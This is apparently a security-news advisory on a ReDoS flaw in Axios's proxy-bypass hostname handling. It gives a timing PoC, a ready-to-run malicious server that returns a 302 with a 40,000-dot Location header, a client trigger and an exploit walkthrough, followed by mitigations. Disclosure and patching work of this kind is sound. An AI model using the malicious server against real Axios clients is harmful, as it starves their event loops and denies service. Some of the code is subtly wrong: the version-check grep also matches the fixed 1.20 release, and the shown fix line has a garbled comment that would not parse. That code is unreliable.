Listen to this Post
Axios is a promise-based HTTP client for the browser and Node.js. From version 1.15.0 until 1.20.0, the `shouldBypassProxy()` function in `lib/helpers/shouldBypassProxy.js` applies a quadratic trailing-dot regular expression to redirect hostnames. The vulnerable code uses `hostname.replace(/\.+$/, ”)` to strip trailing dots from a hostname before checking it against `NO_PROXY` rules. When a hostname is shaped as many dots followed by a non-dot character (e.g., "." n + "a"), the anchored `$` regex causes the JavaScript regex engine to retry the dot run from many positions before it fails — a classic case of catastrophic backtracking resulting in O(N²) complexity. Axios re-evaluates proxy bypass rules for every redirect hop via `setProxy(options, configProxy, location, isRedirect, …)` in lib/adapters/http.js. The `setProxy` function calls `getProxyForUrl(location)` to check if a proxy should be used, and if a proxy is returned, it invokes shouldBypassProxy(location). Because the redirect `Location` header is untrusted (it arrives from the remote server), an attacker-controlled server can return a crafted 302 redirect whose hostname contains a long run of dots, forcing the Axios process to spend significant CPU time in synchronous hostname normalization. During this time, the Node.js event loop is blocked and the application cannot handle other work on that thread. This is an availability-only issue — it does not disclose request data or modify requests. The attack preconditions are: a proxy is configured via environment variables (HTTP_PROXY or HTTPS_PROXY), `NO_PROXY` or `no_proxy` is set to a non-empty value, redirects are followed (default maxRedirects: 5), and a crafted redirect `Location` contains many dots followed by a non-dot character. Local timing on Axios 1.18.1 showed about 1 ms at 1000 dots, 6.9 ms at 3000 dots, and 34.5 ms at 6000 dots. In the full adapter path, driving through the real HTTP adapter’s `__setProxy` on the redirect path, a 10 ms timer fires 0 times during the ~2.4 s block at N=40000 — full event-loop starvation. The same impact class applies as with the accepted DoS advisories GHSA-62hf-57xw-28j9 (toFormData recursion) and the `maxContentLength` response-size DoS. The root cause is that `/\.+$/` is O(N²) on a long run of dots that is not at the end of the string. The suggested fix replaces the regex trailing-dot strip with a linear trim and drops the redundant second `/\.+$/` pass in PR 11029’s normalizeIPAddress. The issue is fixed in version 1.20.0.
DailyCVE Form:
Platform: Axios
Version: 1.15.0–1.19.x
Vulnerability: ReDoS
Severity: High
date: 2026-09-28
Prediction: 2026-10-15
What Undercode Say
Analytics
Bash command to check if a project is using an affected Axios version:
npm ls axios | grep -E '1.(1[5-9]|20).' || echo "Not affected"
Bash command to extract the vulnerable code from the installed Axios helper:
cat node_modules/axios/lib/helpers/shouldBypassProxy.js | grep -n 'replace'
Node.js command to measure the O(N²) cost directly against the helper:
node -e "
const sbp = require('axios/lib/helpers/shouldBypassProxy.js');
process.env.NO_PROXY = 'example.com';
const n = 20000;
const url = 'http://' + '.'.repeat(n) + 'a/';
const t0 = process.hrtime.bigint();
sbp(url);
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log('N=' + n + ': ' + ms.toFixed(2) + ' ms');
"
Self-contained proof-of-concept that demonstrates the quadratic growth without any network interaction:
// node poc.mjs (run next to an axios install)
import sbp from './node_modules/axios/lib/helpers/shouldBypassProxy.js';
process.env.NO_PROXY = 'example.com';
for (const n of [5000, 10000, 20000, 40000]) {
const url = 'http://' + '.'.repeat(n) + 'a/';
const t0 = process.hrtime.bigint();
sbp(url);
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(<code>N=${n}: ${ms.toFixed(0)} ms</code>);
}
A minimal malicious HTTP server that returns a crafted `Location` header containing thousands of dots, triggering the ReDoS on a vulnerable client that has `NO_PROXY` set and follows redirects:
// node malicious-server.mjs
import http from 'node:http';
const PAYLOAD = 'http://' + '.'.repeat(40000) + 'a/';
http.createServer((req, res) => {
res.writeHead(302, { 'Location': PAYLOAD });
res.end();
}).listen(8080, () => console.log('Malicious server on :8080'));
Client-side trigger that demonstrates the full redirect hop entering `setProxy` with the untrusted hostname:
// node client.mjs
process.env.HTTP_PROXY = 'http://127.0.0.1:9999';
process.env.NO_PROXY = 'example.com';
import axios from 'axios';
await axios.get('http://localhost:8080/'); // follows 302 to crafted Location
The fix, as implemented in Axios 1.20.0, replaces the quadratic regex with a linear scan:
let end = hostname.length; while (end > 0 && hostname.charCodeAt(end - 1) === 46 / '.' /) end--; hostname = hostname.slice(0, end);
Verification that the fix eliminates the quadratic behavior:
node -e "
const sbp = require('axios/lib/helpers/shouldBypassProxy.js');
process.env.NO_PROXY = 'example.com';
const n = 40000;
const url = 'http://' + '.'.repeat(n) + 'a/';
const t0 = process.hrtime.bigint();
sbp(url);
console.log('N=' + n + ': ' + (Number(process.hrtime.bigint() - t0) / 1e6).toFixed(2) + ' ms');
"
Expected on fixed version: < 1 ms
Exploit: (Educational Purposes!)
The exploit chain requires three conditions to be satisfied simultaneously: (1) the Axios client is configured with `HTTP_PROXY` or `HTTPS_PROXY` environment variables, (2) `NO_PROXY` or `no_proxy` is set to a non-empty value, and (3) the client follows redirects (the default `maxRedirects` is 5). An attacker operates a server that the victim’s Axios client contacts — either directly, via a URL the victim application resolves, or through a redirect chain. When the victim’s client sends a request to the attacker-controlled server, the server responds with a `302` redirect whose `Location` header contains a hostname of the form "." n + "a". Axios parses this `Location` header, creates a new `URL` object (which retains the long dot-run in .hostname), and re-enters `setProxy` for the redirect hop. Inside setProxy, because environment proxy variables are configured, `getProxyForUrl(location)` returns a proxy, and `shouldBypassProxy(location)` is invoked. The `shouldBypassProxy` function calls normalizeNoProxyHost(parsed.hostname.toLowerCase()), which executes hostname.replace(/\.+$/, ''). The anchored `$` regex backtracks quadratically over the long dot run, blocking the Node.js event loop synchronously. With N=40000 dots, the block lasts approximately 2.4 seconds per redirect. With the default maxRedirects: 5, an attacker can chain multiple redirects to extend the event-loop starvation. Because the block is synchronous, no timers fire, no I/O completes, and no other requests are processed during the starvation window. The attack does not require any authentication, does not require user interaction, and can be launched remotely over the network. The only prerequisite is that the victim application uses Axios with environment proxy configuration and follows redirects.
Protection:
Upgrade Axios to version 1.20.0 or later, where the quadratic trailing-dot regular expression has been replaced with a linear scan. Verify the fix is present by inspecting `node_modules/axios/lib/helpers/shouldBypassProxy.js` for the absence of the `.replace(/\.+$/, ”)` pattern. If upgrading is not immediately possible, disable automatic redirects for requests to untrusted servers by setting `maxRedirects: 0` on requests where the destination is not fully trusted, and avoid environment proxy handling for those requests by setting `proxy: false` when appropriate. Operators can also avoid broad untrusted redirect-following in services where event-loop availability is critical. Additionally, ensure that `NO_PROXY` is not set to an unnecessarily broad value, as the vulnerability only manifests when `NO_PROXY` is non-empty and a proxy is configured via environment variables. Monitor for unusually large redirect counts or abnormally long hostnames in `Location` headers at the network egress layer as a compensating control.
Impact:
Denial of service (event-loop starvation) on any Axios client that uses an environment proxy with `NO_PROXY` set and follows redirects, when a server it contacts returns a crafted redirect Location. No data exposure, no privilege escalation, and no remote code execution. The same impact class applies as with the accepted DoS advisories GHSA-62hf-57xw-28j9 (toFormData recursion) and the `maxContentLength` response-size DoS. The CVSS 4.0 base score is 8.2 (HIGH), with the vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N, reflecting network attack vector, low attack complexity, no privileges required, no user interaction, and high availability impact only.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

